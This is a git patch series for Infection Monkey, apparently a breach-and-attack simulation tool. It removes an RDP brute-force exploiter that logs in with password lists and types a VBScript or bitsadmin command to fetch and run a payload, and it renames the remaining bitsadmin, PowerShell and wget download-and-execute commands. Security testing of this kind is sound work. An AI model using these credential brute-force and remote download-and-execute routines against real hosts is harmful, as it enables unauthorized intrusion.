diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index cb5bf881b..1d31c709a 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -216,9 +216,6 @@ class Configuration(object): user_to_add = "Monkey_IUSER_SUPPORT" remote_user_pass = "Password1!" - # rdp exploiter - rdp_use_vbs_download = True - # User and password dictionaries for exploits. def get_exploit_user_password_pairs(self): diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 8dba50352..57b8d6ee5 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -63,7 +63,6 @@ "user_to_add": "Monkey_IUSER_SUPPORT", "remote_user_pass": "Password1!", "ping_scan_timeout": 10000, - "rdp_use_vbs_download": true, "smb_download_timeout": 300, "smb_service_name": "InfectionMonkey", "retry_failed_explotation": true, diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 19e5b327e..9db1bad47 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -80,7 +80,6 @@ class HostExploiter(object): from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.smbexec import SmbExploiter -from infection_monkey.exploit.rdpgrinder import RdpExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.exploit.shellshock import ShellShockExploiter from infection_monkey.exploit.sambacry import SambaCryExploiter diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 24a902eea..39fdf29b1 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -8,7 +8,7 @@ import json import logging import requests from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ +from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ DOWNLOAD_TIMEOUT from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE from infection_monkey.telemetry.attack.t1197_telem import T1197Telem @@ -38,7 +38,7 @@ class ElasticGroovyExploiter(WebRCE): exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() exploit_config['dropper'] = True exploit_config['url_extensions'] = ['_search?pretty'] - exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP} + exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP} return exploit_config def get_open_service_ports(self, port_list, names): diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py deleted file mode 100644 index 0cf225637..000000000 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ /dev/null @@ -1,346 +0,0 @@ -import os.path -import threading -import time -from logging import getLogger - -import rdpy.core.log as rdpy_log -import twisted.python.log -from rdpy.core.error import RDPSecurityNegoFail -from rdpy.protocol.rdp import rdp -from twisted.internet import reactor - -from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING -from common.utils.exploit_enum import ExploitType -from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey, build_monkey_commandline -from infection_monkey.exploit.tools.http_tools import HTTPTools -from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS -from infection_monkey.network.tools import check_tcp_port -from infection_monkey.telemetry.attack.t1197_telem import T1197Telem -from infection_monkey.utils import utf_to_ascii - -__author__ = 'hoffer' - -KEYS_INTERVAL = 0.1 -MAX_WAIT_FOR_UPDATE = 120 -KEYS_SENDER_SLEEP = 0.01 -DOWNLOAD_TIMEOUT = 60 -RDP_PORT = 3389 -LOG = getLogger(__name__) - - -def twisted_log_func(*message, **kw): - if kw.get('isError'): - error_msg = 'Unknown' - if 'failure' in kw: - error_msg = kw['failure'].getErrorMessage() - LOG.error("Error from twisted library: %s" % (error_msg,)) - else: - LOG.debug("Message from twisted library: %s" % (str(message),)) - - -def rdpy_log_func(message): - LOG.debug("Message from rdpy library: %s" % (message,)) - - -twisted.python.log.msg = twisted_log_func -rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR -rdpy_log.log = rdpy_log_func - -# thread for twisted reactor, create once. -global g_reactor -g_reactor = threading.Thread(target=reactor.run, args=(False,)) - - -class ScanCodeEvent(object): - def __init__(self, code, is_pressed=False, is_special=False): - self.code = code - self.is_pressed = is_pressed - self.is_special = is_special - - -class CharEvent(object): - def __init__(self, char, is_pressed=False): - self.char = char - self.is_pressed = is_pressed - - -class SleepEvent(object): - def __init__(self, interval): - self.interval = interval - - -class WaitUpdateEvent(object): - def __init__(self, updates=1): - self.updates = updates - pass - - -def str_to_keys(orig_str): - result = [] - for c in orig_str: - result.append(CharEvent(c, True)) - result.append(CharEvent(c, False)) - result.append(WaitUpdateEvent()) - return result - - -class KeyPressRDPClient(rdp.RDPClientObserver): - def __init__(self, controller, keys, width, height, addr): - super(KeyPressRDPClient, self).__init__(controller) - self._keys = keys - self._addr = addr - self._update_lock = threading.Lock() - self._wait_update = False - self._keys_thread = threading.Thread(target=self._keysSender) - self._keys_thread.daemon = True - self._width = width - self._height = height - self._last_update = 0 - self.closed = False - self.success = False - self._wait_for_update = None - - def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data): - update_time = time.time() - self._update_lock.acquire() - self._last_update = update_time - self._wait_for_update = False - self._update_lock.release() - - def _keysSender(self): - LOG.debug("Starting to send keystrokes") - while True: - - if self.closed: - return - - if len(self._keys) == 0: - reactor.callFromThread(self._controller.close) - LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port) - return - - key = self._keys[0] - - self._update_lock.acquire() - time_diff = time.time() - self._last_update - if type(key) is WaitUpdateEvent: - self._wait_for_update = True - self._update_lock.release() - key.updates -= 1 - if key.updates == 0: - self._keys = self._keys[1:] - elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE): - self._wait_for_update = False - self._update_lock.release() - if type(key) is ScanCodeEvent: - reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, - key.is_special) - elif type(key) is CharEvent: - reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed) - elif type(key) is SleepEvent: - time.sleep(key.interval) - - self._keys = self._keys[1:] - else: - self._update_lock.release() - time.sleep(KEYS_SENDER_SLEEP) - - def onReady(self): - time.sleep(1) - reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), True) - time.sleep(1) - reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), False) - time.sleep(1) - pass - - def onClose(self): - self.success = len(self._keys) == 0 - self.closed = True - - def onSessionReady(self): - LOG.debug("Logged in, session is ready for work") - self._last_update = time.time() - self._keys_thread.start() - - -class CMDClientFactory(rdp.ClientFactory): - def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359): - self._username = username - self._password = password - self._domain = domain - self._keyboard_layout = "en" - # key sequence: WINKEY+R,cmd /v,Enter,&exit,Enter - self._keys = [SleepEvent(1), - ScanCodeEvent(91, True, True), - ScanCodeEvent(19, True), - ScanCodeEvent(19, False), - ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \ - [WaitUpdateEvent(), ScanCodeEvent(28, True), - ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \ - [WaitUpdateEvent(), ScanCodeEvent(28, True), - ScanCodeEvent(28, False), WaitUpdateEvent()] - self._optimized = optimized - self._security = rdp.SecurityLevel.RDP_LEVEL_NLA - self._nego = True - self._client = None - self._width = width - self._height = height - self.done_event = threading.Event() - self.success = False - - def buildObserver(self, controller, addr): - """ - @summary: Build RFB observer - We use a RDPClient as RDP observer - @param controller: build factory and needed by observer - @param addr: destination address - @return: RDPClientQt - """ - - # create client observer - self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr) - - controller.setUsername(self._username) - controller.setPassword(self._password) - controller.setDomain(self._domain) - controller.setKeyboardLayout(self._keyboard_layout) - controller.setHostname(addr.host) - if self._optimized: - controller.setPerformanceSession() - controller.setSecurityLevel(self._security) - - return self._client - - def clientConnectionLost(self, connector, reason): - # try reconnect with basic RDP security - if reason.type == RDPSecurityNegoFail and self._nego: - LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" % - (connector.host, connector.port)) - # stop nego - self._nego = False - self._security = rdp.SecurityLevel.RDP_LEVEL_RDP - connector.connect() - return - - LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port)) - self.success = self._client.success - self.done_event.set() - - def clientConnectionFailed(self, connector, reason): - LOG.debug("RDP connection to %s:%s failed, with error: %s" % - (connector.host, connector.port, reason.getErrorMessage())) - self.success = False - self.done_event.set() - - -class RdpExploiter(HostExploiter): - - _TARGET_OS_TYPE = ['windows'] - EXPLOIT_TYPE = ExploitType.BRUTE_FORCE - _EXPLOITED_SERVICE = 'RDP' - - def __init__(self, host): - super(RdpExploiter, self).__init__(host) - - def is_os_supported(self): - if super(RdpExploiter, self).is_os_supported(): - return True - - if not self.host.os.get('type'): - is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT) - if is_open: - self.host.os['type'] = 'windows' - return True - return False - - def _exploit_host(self): - global g_reactor - - is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT) - if not is_open: - LOG.info("RDP port is closed on %r, skipping", self.host) - return False - - src_path = get_target_monkey(self.host) - - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - - if not http_path: - LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.") - return False - - LOG.info("Started http server on %s", http_path) - - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) - - if self._config.rdp_use_vbs_download: - command = RDP_CMDLINE_HTTP_VBS % { - 'monkey_path': self._config.dropper_target_path_win_32, - 'http_path': http_path, 'parameters': cmdline} - else: - command = RDP_CMDLINE_HTTP_BITS % { - 'monkey_path': self._config.dropper_target_path_win_32, - 'http_path': http_path, 'parameters': cmdline} - - user_password_pairs = self._config.get_exploit_user_password_pairs() - - if not g_reactor.is_alive(): - g_reactor.daemon = True - g_reactor.start() - - exploited = False - for user, password in user_password_pairs: - try: - # run command using rdp. - LOG.info("Trying RDP logging into victim %r with user %s and password (SHA-512) '%s'", - self.host, user, self._config.hash_sensitive_data(password)) - - LOG.info("RDP connected to %r", self.host) - - user = utf_to_ascii(user) - password = utf_to_ascii(password) - command = utf_to_ascii(command) - - client_factory = CMDClientFactory(user, password, "", command) - - reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory) - - client_factory.done_event.wait() - - if client_factory.success: - if not self._config.rdp_use_vbs_download: - T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() - self.add_vuln_port(RDP_PORT) - exploited = True - self.report_login_attempt(True, user, password) - break - else: - # failed exploiting with this user/pass - self.report_login_attempt(False, user, password) - - except Exception as exc: - LOG.debug("Error logging into victim %r with user" - " %s and password (SHA-512) '%s': (%s)", self.host, - user, self._config.hash_sensitive_data(password), exc) - continue - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - - if not exploited: - LOG.debug("Exploiter RdpGrinder failed, rdp failed.") - return False - elif http_thread.downloads == 0: - LOG.debug("Exploiter RdpGrinder failed, http download failed.") - return False - - LOG.info("Executed monkey '%s' on remote victim %r", - os.path.basename(src_path), self.host) - self.add_executed_cmd(command) - return True diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index b33a3cfb5..d8c1f6598 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -308,7 +308,7 @@ class WebRCE(HostExploiter): """ if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: LOG.info("Powershell not found in host. Using bitsadmin to download.") - backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path} + backup_command = BITSADMIN_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path} T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() resp = self.exploit(url, backup_command) return resp diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index e6c2e63a5..dd3e9ca63 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -12,14 +12,12 @@ GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) -RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, ) -RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' # Commands used for downloading monkeys POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" -RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' +BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' CHMOD_MONKEY = "chmod +x %(monkey_path)s" RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable diff --git a/monkey/infection_monkey/requirements_linux.txt b/monkey/infection_monkey/requirements_linux.txt index bef031d2e..f30131267 100644 --- a/monkey/infection_monkey/requirements_linux.txt +++ b/monkey/infection_monkey/requirements_linux.txt @@ -1,10 +1,7 @@ enum34 impacket pycryptodome -pyasn1 cffi -twisted -rdpy requests odict paramiko diff --git a/monkey/infection_monkey/requirements_windows.txt b/monkey/infection_monkey/requirements_windows.txt index 5689ca332..a9642aa2f 100644 --- a/monkey/infection_monkey/requirements_windows.txt +++ b/monkey/infection_monkey/requirements_windows.txt @@ -1,10 +1,7 @@ enum34 impacket pycryptodome -pyasn1 cffi -twisted -rdpy requests odict paramiko diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 7e1f17c48..52ccfeb5d 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -58,7 +58,6 @@ class AWSExporter(Exporter): 'wmi_password': AWSExporter._handle_wmi_password_issue, 'wmi_pth': AWSExporter._handle_wmi_pth_issue, 'ssh_key': AWSExporter._handle_ssh_key_issue, - 'rdp': AWSExporter._handle_rdp_issue, 'shared_passwords_domain': AWSExporter._handle_shared_passwords_domain_issue, 'shared_admins_domain': AWSExporter._handle_shared_admins_domain_issue, 'strong_users_on_crit': AWSExporter._handle_strong_users_on_crit_issue, @@ -305,20 +304,6 @@ class AWSExporter(Exporter): instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) - @staticmethod - def _handle_rdp_issue(issue, instance_arn): - - return AWSExporter._build_generic_finding( - severity=1, - title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), - recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), - instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None - ) - @staticmethod def _handle_shared_passwords_domain_issue(issue, instance_arn): diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 2fa1a3aff..ee5616868 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -32,14 +32,6 @@ SCHEMA = { "title": "MSSQL Exploiter", "attack_techniques": ["T1110"] }, - { - "type": "string", - "enum": [ - "RdpExploiter" - ], - "title": "RDP Exploiter (UNSAFE)", - "attack_techniques": [] - }, { "type": "string", "enum": [ @@ -791,19 +783,6 @@ SCHEMA = { } } }, - "rdp_grinder": { - "title": "RDP grinder", - "type": "object", - "properties": { - "rdp_use_vbs_download": { - "title": "Use VBS download", - "type": "boolean", - "default": True, - "description": "Determines whether to use VBS or BITS to download monkey to remote machine" - " (true=VBS, false=BITS)" - } - } - }, "sambacry": { "title": "SambaCry", "type": "object", diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 593bbfdaf..54bb6f74e 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -34,7 +34,6 @@ class ReportService: 'SmbExploiter': 'SMB Exploiter', 'WmiExploiter': 'WMI Exploiter', 'SSHExploiter': 'SSH Exploiter', - 'RdpExploiter': 'RDP Exploiter', 'SambaCryExploiter': 'SambaCry Exploiter', 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter', @@ -287,12 +286,6 @@ class ReportService: processed_exploit['type'] = 'ssh' return processed_exploit - @staticmethod - def process_rdp_exploit(exploit): - processed_exploit = ReportService.process_general_creds_exploit(exploit) - processed_exploit['type'] = 'rdp' - return processed_exploit - @staticmethod def process_vsftpd_exploit(exploit): processed_exploit = ReportService.process_general_creds_exploit(exploit) @@ -357,7 +350,6 @@ class ReportService: 'SmbExploiter': ReportService.process_smb_exploit, 'WmiExploiter': ReportService.process_wmi_exploit, 'SSHExploiter': ReportService.process_ssh_exploit, - 'RdpExploiter': ReportService.process_rdp_exploit, 'SambaCryExploiter': ReportService.process_sambacry_exploit, 'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 4d1f6d4dd..207ae8699 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -665,22 +665,6 @@ class ReportPageComponent extends AuthComponent { ); } - generateRdpIssue(issue) { - return ( -
  • - Change {issue.username}'s password to a complex one-use password - that is not shared with other computers on the network. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a RDP attack. -
    - The Monkey authenticated over the RDP protocol with user {issue.username} and its password. -
    -
  • - ); - } generateSambaCryIssue(issue) { return ( @@ -959,9 +943,6 @@ generateMSSQLIssue(issue) { case 'ssh_key': data = this.generateSshKeysIssue(issue); break; - case 'rdp': - data = this.generateRdpIssue(issue); - break; case 'sambacry': data = this.generateSambaCryIssue(issue); break; From 9b23be44ed627dc9044640e405e468e4ae1e3357 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 22 Aug 2019 09:28:53 +0300 Subject: [PATCH 06/30] Added hash parsing to the T1021 remote services attack technique. --- .../cc/services/attack/technique_reports/T1021.py | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py index 2baa7a872..d22583359 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py @@ -22,18 +22,14 @@ class T1021(AttackTechnique): 'attempt_cnt': {'$size': '$data.attempts'}, 'attempts': {'$filter': {'input': '$data.attempts', 'as': 'attempt', - 'cond': {'$and': [{'$eq': ['$$attempt.result', True]}, - {'$or': [{'$ne': ['$$attempt.password', '']}, - {'$ne': ['$$attempt.ssh_key', '']}]}] - } + 'cond': {'$eq': ['$$attempt.result', True]} } } } }] scanned_query = {'telem_category': 'exploit', - 'data.attempts': {'$elemMatch': {'$or': [{'password': {'$ne': ''}}, - {'ssh_key': {'$ne': ''}}]}}} + 'data.attempts': {'$elemMatch': {'result': True}}} @staticmethod def get_report_data(): From b9a5ac1fe4b3822bb340e98a7b93df0fabf1191d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 22 Aug 2019 14:04:45 +0300 Subject: [PATCH 07/30] Refactored: scripting telemetry is send as a string, without using UsageEnum --- monkey/infection_monkey/post_breach/pba.py | 19 ++++++++++++------- .../telemetry/attack/t1064_telem.py | 14 +++++++++++--- .../attack/technique_reports/T1064.py | 6 ++++-- 3 files changed, 27 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index e3eb533ae..86addd009 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -47,20 +47,25 @@ class PBA(object): """ exec_funct = self._execute_default result = exec_funct() - if self.scripts_were_used(result): - T1064Telem(ScanStatus.USED, "Scripts used to execute %s post breach action." % self.name).send() + if self.scripts_were_used_successfully(result): + T1064Telem(ScanStatus.USED, "Scripts were used to execute %s post breach action." % self.name).send() PostBreachTelem(self, result).send() - def scripts_were_used(self, pba_execution_result): + def is_script(self): """ - Determines if scripts were used to execute PBA + Determines if PBA is a script (PBA might be a single command) + :return: True if PBA is a script(series of OS commands) + """ + return isinstance(self.command, list) and len(self.command) > 1 + + def scripts_were_used_successfully(self, pba_execution_result): + """ + Determines if scripts were used to execute PBA and if they succeeded :param pba_execution_result: result of execution function. e.g. self._execute_default :return: True if scripts were used, False otherwise """ pba_execution_succeeded = pba_execution_result[1] - if pba_execution_succeeded and isinstance(self.command, list) and len(self.command) > 1: - return True - return False + return pba_execution_succeeded and self.is_script() def _execute_default(self): """ diff --git a/monkey/infection_monkey/telemetry/attack/t1064_telem.py b/monkey/infection_monkey/telemetry/attack/t1064_telem.py index fcb3c0bff..efea27063 100644 --- a/monkey/infection_monkey/telemetry/attack/t1064_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1064_telem.py @@ -1,11 +1,19 @@ -from infection_monkey.telemetry.attack.usage_telem import UsageTelem +from infection_monkey.telemetry.attack.usage_telem import AttackTelem -class T1064Telem(UsageTelem): +class T1064Telem(AttackTelem): def __init__(self, status, usage): """ T1064 telemetry. :param status: ScanStatus of technique :param usage: Usage string """ - super(T1064Telem, self).__init__('T1064', status, usage) + super(T1064Telem, self).__init__('T1064', status) + self.usage = usage + + def get_data(self): + data = super(T1064Telem, self).get_data() + data.update({ + 'usage': self.usage + }) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py index 9137f99e4..0b1b05489 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py @@ -1,16 +1,18 @@ from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique +from monkey_island.cc.database import mongo __author__ = "VakarisZ" class T1064(UsageTechnique): tech_id = "T1064" - unscanned_msg = "Monkey didn't run scripts." + unscanned_msg = "Monkey didn't run scripts or tried to run and failed." scanned_msg = "" used_msg = "Monkey ran scripts on machines in the network." @staticmethod def get_report_data(): data = T1064.get_tech_base_data() - data.update({'scripts': T1064.get_usage_data()}) + script_usages = list(mongo.db.telemetry.aggregate(T1064.get_usage_query())) + data.update({'scripts': script_usages}) return data From 97b0568c35398b3557f1ddb45cba838aa216cd35 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 23 Aug 2019 16:08:53 +0300 Subject: [PATCH 08/30] Added success log message in mimikatz and fixed private keys attack query --- monkey/infection_monkey/system_info/windows_info_collector.py | 1 + .../monkey_island/cc/services/attack/technique_reports/T1145.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 7c3739a0f..b8a102831 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -63,5 +63,6 @@ class WindowsInfoCollector(InfoCollector): if "credentials" in self.info: self.info["credentials"].update(mimikatz_info) self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text() + LOG.info('Mimikatz info gathered successfully') else: LOG.info('No mimikatz info was gathered') diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py index 89ac44117..c4e5691ff 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py @@ -12,7 +12,7 @@ class T1145(AttackTechnique): used_msg = "Monkey found ssh keys on machines in the network." # Gets data about ssh keys found - query = [{'$match': {'telem_category': 'system_info_collection', + query = [{'$match': {'telem_category': 'system_info', 'data.ssh_info': {'$elemMatch': {'private_key': {'$exists': True}}}}}, {'$project': {'_id': 0, 'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, From 51b689366ad60ca956228e5cf2477a7e7e3776c6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Sun, 25 Aug 2019 15:47:24 +0300 Subject: [PATCH 09/30] Current section not changed on import --- .../cc/ui/src/components/pages/ConfigurePage.js | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index ad4df667d..43dac797c 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -295,13 +295,12 @@ class ConfigurePageComponent extends AuthComponent { this.setState({PBAlinuxFile: [], PBAwinFile: []}); } - onReadFile = (event) => { + setConfigOnImport = (event) => { try { this.setState({ configuration: JSON.parse(event.target.result), lastAction: 'import_success' }, () => {this.sendConfig(); this.setInitialConfig(JSON.parse(event.target.result))}); - this.currentSection = 'basic'; this.currentFormData = {}; } catch(SyntaxError) { this.setState({lastAction: 'import_failure'}); @@ -335,7 +334,7 @@ class ConfigurePageComponent extends AuthComponent { importConfig = (event) => { let reader = new FileReader(); - reader.onload = this.onReadFile; + reader.onload = this.setConfigOnImport; reader.readAsText(event.target.files[0]); event.target.value = null; }; @@ -494,7 +493,6 @@ class ConfigurePageComponent extends AuthComponent { } else if(this.state.selectedSection !== 'attack') { content = this.renderConfigContent(displayedSchema) } - return ( {this.renderAttackAlertModal()} From 7e0b85a34d1f765b93cae319860117b1fcec0588 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Sun, 25 Aug 2019 18:58:34 +0300 Subject: [PATCH 10/30] Improved description of T1090 connection proxy --- .../monkey_island/cc/services/attack/technique_reports/T1090.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py index f0835aff9..7a6c830b8 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py @@ -10,7 +10,7 @@ class T1090(AttackTechnique): tech_id = "T1090" unscanned_msg = "Monkey didn't use connection proxy." scanned_msg = "" - used_msg = "Monkey used connection proxy." + used_msg = "Monkey used connection proxy to communicate with machines on the network." @staticmethod def get_report_data(): From f8ef243d048cf6757aeabdf34261ff78e5d74f45 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 14:09:42 +0300 Subject: [PATCH 11/30] Updated contrib.md to include info about UT name format and branch name 